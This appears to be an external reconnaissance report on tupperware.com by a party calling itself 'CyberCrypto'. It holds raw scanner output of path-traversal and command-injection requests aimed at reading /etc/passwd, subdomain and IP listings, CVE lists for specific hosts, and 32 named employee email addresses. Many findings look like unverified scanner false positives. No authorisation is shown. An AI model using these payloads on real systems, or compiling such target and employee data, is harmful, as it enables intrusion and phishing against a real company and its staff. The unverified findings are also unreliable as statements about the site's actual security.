CYBERCRYPTO

External Assessment –
Site Name –
tupperware.com

Section One:
Web audit scan

https://www.tupperware.com

Vulnerabilities listed below

Target IP: 18.210.172.12
Target Hostname: www.tupperware.com
Target Port: 443

SSL Info: Subject: /C=US/ST=Florida/L=Orlando/O=Dart Industries Inc./CN=*.tupperware.com
Ciphers: ECDHE-RSA-AES128-GCM-SHA256
Issuer: /C=US/O=DigiCert Inc/OU=www.digicert.com/CN=GeoTrust TLS RSA CA G1
Using Encoding: Random URI encoding (non-UTF8)
Message: Multiple IP addresses found: 18.210.172.12, 34.234.241.115
Start Time: 2020-03-19 19:02:10 (GMT-4)

+ Server: awselb/2.0
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The site uses SSL and the Strict-Transport-Security HTTP header is not defined.
+ The site uses SSL and Expect-CT header is not present.
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ Uncommon header 'x-magento-cache-debug' found, with contents: MISS
+ Uncommon header 'varnish-id' found, with contents: 182
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Uncommon header 'grace' found, with contents: none
+ Server is using a wildcard certificate: *.tupperware.com
+ The Content-Encoding header is set to "deflate" this may mean that the server is vulnerable to the BREACH attack.
+ Server banner has changed from 'awselb/2.0' to 'nginx/1.12.2' which may suggest a WAF, load balancer or proxy is in place
+ OSVDB-5553: /netget?sid=user&msg=300&file=../../../../../../../../../../etc/passwd: Sybex E-Trainer allows arbitrary files to be retrieved.
+ /jsp/jspsamp/jspexamples/viewsource.jsp?source=../../../../../../../../../../etc/passwd: Default JRun CGI lets users read any system file.
+ OSVDB-51750: /k/home?dir=/&file=../../../../../../../../etc/passwd&lang=kor: Kebi Academy 2001 Web Solution allows any file to be retrieved from the remote system.
+ /nph-showlogs.pl?files=../../../../../../../../etc/passwd&filter=.*&submit=Go&linecnt=500&refresh=0: nCUBE Server Manage 1.0 allows any file to be read on the remote system.

+ /put/cgi-bin/putport.exe?SWAP&BOM&OP=none&Lang=en-US&PutHtml=../../../../../../../../etc/passwd: NCR's Terradata server contains a CGI that allows any file to be retrieved remotely.
+ OSVDB-521: /ROADS/cgi-bin/search.pl?form=../../../../../../../../../../etc/passwd%00: The ROADS search.pl allows attackers to retrieve system files.
+ OSVDB-431: /Web_Store/web_store.cgi?page=../../../../../../../../../../etc/passwd%00.html: eXtropia's Web Store lets attackers read any file on the system by appending a %00.html to the name.
+ OSVDB-15392: /logbook.pl?file=../../../../../../../bin/cat%20/etc/passwd%00|: Wordit Limited 2000 allows command execution.
+ OSVDB-59084: /page.cgi?../../../../../../../../../../etc/passwd: WWWeBBB Forum up to version 3.82beta allow arbitrary file retrieval.
+ OSVDB-278: /PSUser/PSCOErrPage.htm?errPagePath=/etc/passwd: This default Netscape file allows an attacker to read arbitrary files on the host.
+ Cookie private_content_version created without the httponly flag
+ Cookie mage-messages created without the secure flag
+ Cookie mage-messages created without the httponly flag
+ /perl/-e%20%22system('cat%20/etc/passwd');\%22: The installed Perl interpreter allows any command to be executed remotely.
+ OSVDB-3092: /sitemap.xml: This gives a nice listing of the site content.
+ OSVDB-8956: /basilix.php3?request_id[DUMMY]=../../../../etc/passwd&RequestID=DUMMY&username=sec&password=secu: Remote file retrieval.
+ OSVDB-3092: /testing/: This might be interesting...
+ OSVDB-3092: /etc/passwd: An '/etc/passwd' file is available via the web site.
+ OSVDB-3093: /forum-ra.asp?n=....//....//....//....//....//....//....//etc.passwd: This might be interesting... has been seen in web logs from an unknown scanner.
+ OSVDB-3093: /forum-ra.asp?n=../../../../../../../../../../etc/passwd: This might be interesting... has been seen in web logs from an unknown scanner.
+ OSVDB-3093: /forum-ra.asp?n=../../../../../../../../../../etc/passwd%00: This might be interesting... has been seen in web logs from an unknown scanner.
+ OSVDB-3093: /forum-ra.asp?n=/etc/passwd%00: This might be interesting... has been seen in web logs from an unknown scanner.
+ OSVDB-3093: /forum-ra_professionnel.asp?n=%60/etc/passwd%60: This might be interesting... has been seen in web logs from an unknown scanner.
+ OSVDB-3093: /forum-ra_professionnel.asp?n=/etc/passwd: This might be interesting... has been seen in web logs from an unknown scanner.
+ OSVDB-3093: /forum.asp?n=/../../../etc/passwd|41|80040e14|[Microsoft][ODBC_SQL_Server_Driver][SQL_Server]Line_1:_Incorrect_syntax_near_'/'.: This might be interesting... has been seen in web logs from an unknown scanner.
+ OSVDB-3093: /forum.asp?n=/etc/passwd%00|41|80040e14|[Microsoft][ODBC_SQL_Server_Driver][SQL_Server]Line_1:_Incorrect_syntax_near_'/'.: This might be interesting... has been seen in web logs from an unknown scanner.
+ OSVDB-3093: /forum1.asp?n=1753&nn=....//....//....//....//....//....//....//etc.passwd: This might be interesting... has been seen in web logs from an unknown scanner.
+ OSVDB-3093: /forum1.asp?n=1753&nn=../../../../../../../../../../etc/passwd%00: This might be interesting... has been seen in web logs from an unknown scanner.
+ OSVDB-3093: /forum1.asp?n=1753&nn=/etc/passwd: This might be interesting... has been seen in web logs from an unknown scanner.
+ OSVDB-3093: /forum1.asp?n=1753&nn=/etc/passwd%00: This might be interesting... has been seen in web logs from an unknown scanner.
+ OSVDB-3093: /forum1_professionnel.asp?n=%60/etc/passwd%60&nn=100&page=1|234|800a0bcd|Either_BOF_or_EOF

_is_True__or_the_current_record_has_been_deleted._Requested_operation_requires_a_current_record.: This might be interesting... has been seen in web logs from an unknown scanner.
+ OSVDB-3093:
/forum1_professionnel.asp?n=..../...../...../...../...../...../etc.passwd&nn=100&page=1|234|800a0bcd|Either_BOF_or_EOF_is_True__or_the_current_record_has_been_deleted._Requested_operation_requires_a_current_record.: This might be interesting... has been seen in web logs from an unknown scanner.
+ OSVDB-3093:
/forum1_professionnel.asp?n=/etc/passwd&nn=100&page=1|234|800a0bcd|Either_BOF_or_EOF_is_True__or_the_current_record_has_been_deleted._Requested_operation_requires_a_current_record.: This might be interesting... has been seen in web logs from an unknown scanner.
+ OSVDB-3093: /forum1_professionnel.asp?n=1771&nn=%60/etc/passwd%60&page=1: This might be interesting... has been seen in web logs from an unknown scanner.
+ OSVDB-3093:
/forum1_professionnel.asp?n=1771&nn=..../...../...../...../...../...../etc.passwd&page=1: This might be interesting... has been seen in web logs from an unknown scanner.
+ OSVDB-3093: /forum1_professionnel.asp?n=1771&nn=../../../../../../../../../etc/passwd%00&page=1: This might be interesting... has been seen in web logs from an unknown scanner.
+ OSVDB-3093: /forum1_professionnel.asp?n=1771&nn=/../../../../../../../../etc/passwd&page=1: This might be interesting... has been seen in web logs from an unknown scanner.
+ OSVDB-3093: /forum1_professionnel.asp?n=1771&nn=/etc/passwd%00&page=1: This might be interesting... has been seen in web logs from an unknown scanner.
+ OSVDB-3093: /forum1_professionnel.asp?n=1771&nn=/etc/passwd&page=1: This might be interesting... has been seen in web logs from an unknown scanner.
+ OSVDB-3093: /forum1_professionnel.asp?n=1771&nn=100&page=/../../../../../../../../../../etc/passwd: This might be interesting... has been seen in web logs from an unknown scanner.
+ OSVDB-3093: /forum1_professionnel.asp?n=1771&nn=100&page=/etc/passwd%00: This might be interesting... has been seen in web logs from an unknown scanner.
+ OSVDB-3093:
/forum_arc.asp?n=/../../../../../../../../etc/passwd|36|80040e14|[Microsoft][ODBC_SQL_Server_Driver][SQL_Server]Line_1:_Incorrect_syntax_near_'/'.: This might be interesting... has been seen in web logs from an unknown scanner.
+ OSVDB-3093:
/forum_arc.asp?n=/etc/passwd|36|80040e14|[Microsoft][ODBC_SQL_Server_Driver][SQL_Server]Line_1:_Incorrect_syntax_near_'/'.: This might be interesting... has been seen in web logs from an unknown scanner.
+ OSVDB-3093:
/forum_professionnel.asp?n=%60/etc/passwd%60|41|80040e14|[Microsoft][ODBC_SQL_Server_Driver][SQL_Server]Line_1:_Incorrect_syntax_near_'`'.: This might be interesting... has been seen in web logs from an unknown scanner.
+ OSVDB-3093:
/forum_professionnel.asp?n=../../../../../../../../../etc/passwd%00|41|80040e14|[Microsoft][ODBC_SQL_Server_Driver][SQL_Server]Line_1:_Incorrect_syntax_near_'/'.: This might be interesting... has been seen in web logs from an unknown scanner.
+ OSVDB-3093:
/forum_professionnel.asp?n=/../../../../../../../../etc/passwd|41|80040e14|[Microsoft][ODBC_SQL_Server_Driver][SQL_Server]Line_1:_Incorrect_syntax_near_'/'.: This might be interesting... has been seen in web logs from an unknown scanner.
+ OSVDB-3093:
/forum_professionnel.asp?n=/etc/passwd%00|41|80040e14|[Microsoft][ODBC_SQL_Server_Driver][SQL_Server]Line_1:_Incorrect_syntax_near_'/'.: This might be interesting... has been seen in web logs from an unknown scanner.
+ OSVDB-3093:
/forum_professionnel.asp?n=/etc/passwd|41|80040e14|[Microsoft][ODBC_SQL_Server_Driver][SQL_Server]Line_

1:_Incorrect_syntax_near_'/'.: This might be interesting... has been seen in web logs from an unknown scanner.
+ OSVDB-3093:
/imprimer.asp?no=%60/etc/passwd%60|44|80040e14|[Microsoft][ODBC_SQL_Server_Driver][SQL_Server]Line_1:_Incorrect_syntax_near_'`'.: This might be interesting... has been seen in web logs from an unknown scanner.
+ OSVDB-3093:
/imprimer.asp?no=../../../../../../../../../etc/passwd%00|44|80040e14|[Microsoft][ODBC_SQL_Server_Driver][SQL_Server]Line_1:_Incorrect_syntax_near_'/'.: This might be interesting... has been seen in web logs from an unknown scanner.
+ OSVDB-3093:
/imprimer.asp?no=/../../../../../../../../etc/passwd|44|80040e14|[Microsoft][ODBC_SQL_Server_Driver][SQL_Server]Line_1:_Incorrect_syntax_near_'/'.: This might be interesting... has been seen in web logs from an unknown scanner.
+ OSVDB-3093: /modif_infos.asp?n=/../../../../../../../../../etc/passwd: This might be interesting... has been seen in web logs from an unknown scanner.
+ OSVDB-3093:
/rubrique.asp?no=%60/etc/passwd%60|55|80040e14|[Microsoft][ODBC_SQL_Server_Driver][SQL_Server]Line_1:_Incorrect_syntax_near_'`'.: This might be interesting... has been seen in web logs from an unknown scanner.
+ OSVDB-3093:
/rubrique.asp?no=....//....//....//....//....//....//....//etc.passwd|55|80040e14|[Microsoft][ODBC_SQL_Server_Driver][SQL_Server]Line_1:_Incorrect_syntax_near_'/'.: This might be interesting... has been seen in web logs from an unknown scanner.
+ OSVDB-3093:
/rubrique.asp?no=../../../../../../../../../etc/passwd%00|55|80040e14|[Microsoft][ODBC_SQL_Server_Driver][SQL_Server]Line_1:_Incorrect_syntax_near_'/'.: This might be interesting... has been seen in web logs from an unknown scanner.
+ OSVDB-3093:
/rubrique.asp?no=/../../../../../../../../etc/passwd|55|80040e14|[Microsoft][ODBC_SQL_Server_Driver][SQL_Server]Line_1:_Incorrect_syntax_near_'/'.: This might be interesting... has been seen in web logs from an unknown scanner.
+ OSVDB-3093:
/rubrique.asp?no=/etc/passwd|55|80040e14|[Microsoft][ODBC_SQL_Server_Driver][SQL_Server]Line_1:_Incorrect_syntax_near_'/'.: This might be interesting... has been seen in web logs from an unknown scanner.
+ OSVDB-3093: /setpasswd.cgi: This might be interesting... has been seen in web logs from an unknown scanner.
+ OSVDB-3093:
/userreg.cgi?cmd=insert&lang=eng&tnum=3&fld1=test999%0acat</var/spool/mail/login>>/etc/passwd: This might be interesting... has been seen in web logs from an unknown scanner.
+ OSVDB-3396: /php/mylog.html?screen=/etc/passwd: Remote file read vulnerability 1999-0346
+ OSVDB-3396: /php/mylog.phtml?screen=/etc/passwd: Remote file read vulnerability 1999-0346
+ OSVDB-3566: /shop/normal_html.cgi?file=;cat%20/etc/passwd|: Happymail E-Commerce 4.3/4.4 allows arbitrary commands to be executed remotely. http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0243.
+ OSVDB-3567: /shop/member_html.cgi?file=;cat%20/etc/passwd|: Happymail E-Commerce 4.3/4.4 allows arbitrary commands to be executed remotely. http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0243.
+ OSVDB-383: /~nobody/etc/passwd: Apache is misconfigured to view files by accessing ~nobody/filename. Change UserDir from './' to something else in httpd.conf.
+ OSVDB-3861: /dcforum/dcforum.cgi?az=list&forum=../../../../../../../../../etc/passwd%00: This install of DCForum allows attackers to read arbitrary files on the host.
+ OSVDB-5090: /admin/exec.php3?cmd=cat%20/etc/passwd: DotBr 0.1 allows remote command execution.
+ OSVDB-694: /phprocketaddin/?page=../../../../../../../../../etc/passwd: The PHP-Nuke Rocket add-in is vulnerable to file traversal, allowing an attacker to view any file on the host

Section Two:
Hosts

Part One:

2540my2.tupperware.com:			
40my2.tupperware.com:			
espanol.tupperware.com:			
jeanewilliams.my.tupperware.com:	35.164.71.126	34.210.163.126	52.88.26.87
leianne.my.tupperware.com:	35.164.71.126	34.210.163.126	52.88.26.87
mail.tupperware.com:	205.170.178.2		
mistyfaris.my.tupperware.com:	34.210.163.126	52.88.26.87	35.164.71.126
my.tupperware.com:	35.164.71.126	52.88.26.87	34.210.163.126
my2.tupperware.com:			
order.tupperware.com:	63.237.248.128		
pedidos.tupperware.com:			
tracia.my.tupperware.com:	34.210.163.126	35.164.71.126	52.88.26.87
vsirek.my.tupperware.com:	52.88.26.87	35.164.71.126	34.210.163.126
warranty.tupperware.com:			
www.my.tupperware.com:	35.164.71.126	34.210.163.126	52.88.26.87
www.my2.tupperware.com:			
www.tupperware.com:	18.210.172.12	34.232.130.51	

Part Two:

Hostnames:	ec2-34-232-130-51.compute-1.amazonaws.com		
City:	Ashburn		
Country:	United States		
Organization:	Amazon.com		
Updated:	2020-03-16T23:47:55.252479		
Number of open ports:	2		
Vulnerabilities:	**CVE-2019-0220**	**CVE-2019-0196**	**CVE-2018-17199**
	CVE-2019-0215	**CVE-2018-17189**	**CVE-2019-0190**
	CVE-2019-0211	**CVE-2019-0197**	

Ports:
80/tcp Apache httpd (2.4.37)
443/tcp Apache httpd (2.4.37)
|-- SSL Versions: -SSLv2, -SSLv3, -TLSv1, -TLSv1.1, -TLSv1.3, TLSv1.2

63.237.248.56
Hostnames:
tupperwareparty.com;rickgoings.us;rickgoings.info;rickgoings.org;rickgoings.us.com;rickgoingsceoblog.com;tupperwareceoblog.com;rickgoings.biz;rickgoings.mobi;smartsteamer.com
Country: United States
Organization: Dart Industries
Updated: 2020-03-20T19:55:49.771824
Number of open ports: 3
Vulnerabilities: **CVE-2010-1899** **CVE-2010-2730** **CVE-2010-3972** **CVE-2012-2531** **CVE-2012-2532** **CVE-2010-1256**

Ports:
80/tcp Microsoft IIS httpd (7.5)
443/tcp Microsoft IIS httpd (7.5)
|-- SSL Versions: -SSLv2, -SSLv3, -TLSv1.3, TLSv1, TLSv1.1, TLSv1.2
|-- Diffie-Hellman Parameters:
Bits: 1024
Generator: 2
8080/tcp Microsoft IIS httpd (7.5)

Section Three:

Email Directory

silviarenna@tupperware.com
twcercadeti@tupperware.com
arturoguilbert@tupperware.com
carolinasantos@tupperware.com
claudiatechera@tupperware.com
christina.ruiz@tupperware.com
valeriemoritz@tupperware.com
gabrielareyes@tupperware.com
rosanabenitez@tupperware.com
estelaporciuncula@tupperware.com
johnstimpson@tupperware.com
yolandalondono@tupperware.com
janegarrard@tupperware.com
ceciliamisa@tupperware.com
nicoledecker@tupperware.com
teresaburchfield@tupperware.com
liennguyen@tupperware.com
jodykoger@tupperware.com
rhbrasil@tupperware.com
hrindia@tupperware.com
evergem@tupperware.com
kathychong@tupperware.com
veravlasova@tupperware.com
donfrazier@tupperware.com
guillerminazepeda@tupperware.com
elinorsteele@tupperware.com
sabrinarivas@tupperware.com
estelahernandez@tupperware.com
mirtarodriguez@tupperware.com
adrianajorge@tupperware.com
sheilalopez@tupperware.com
veronicagiordano@tupperware.com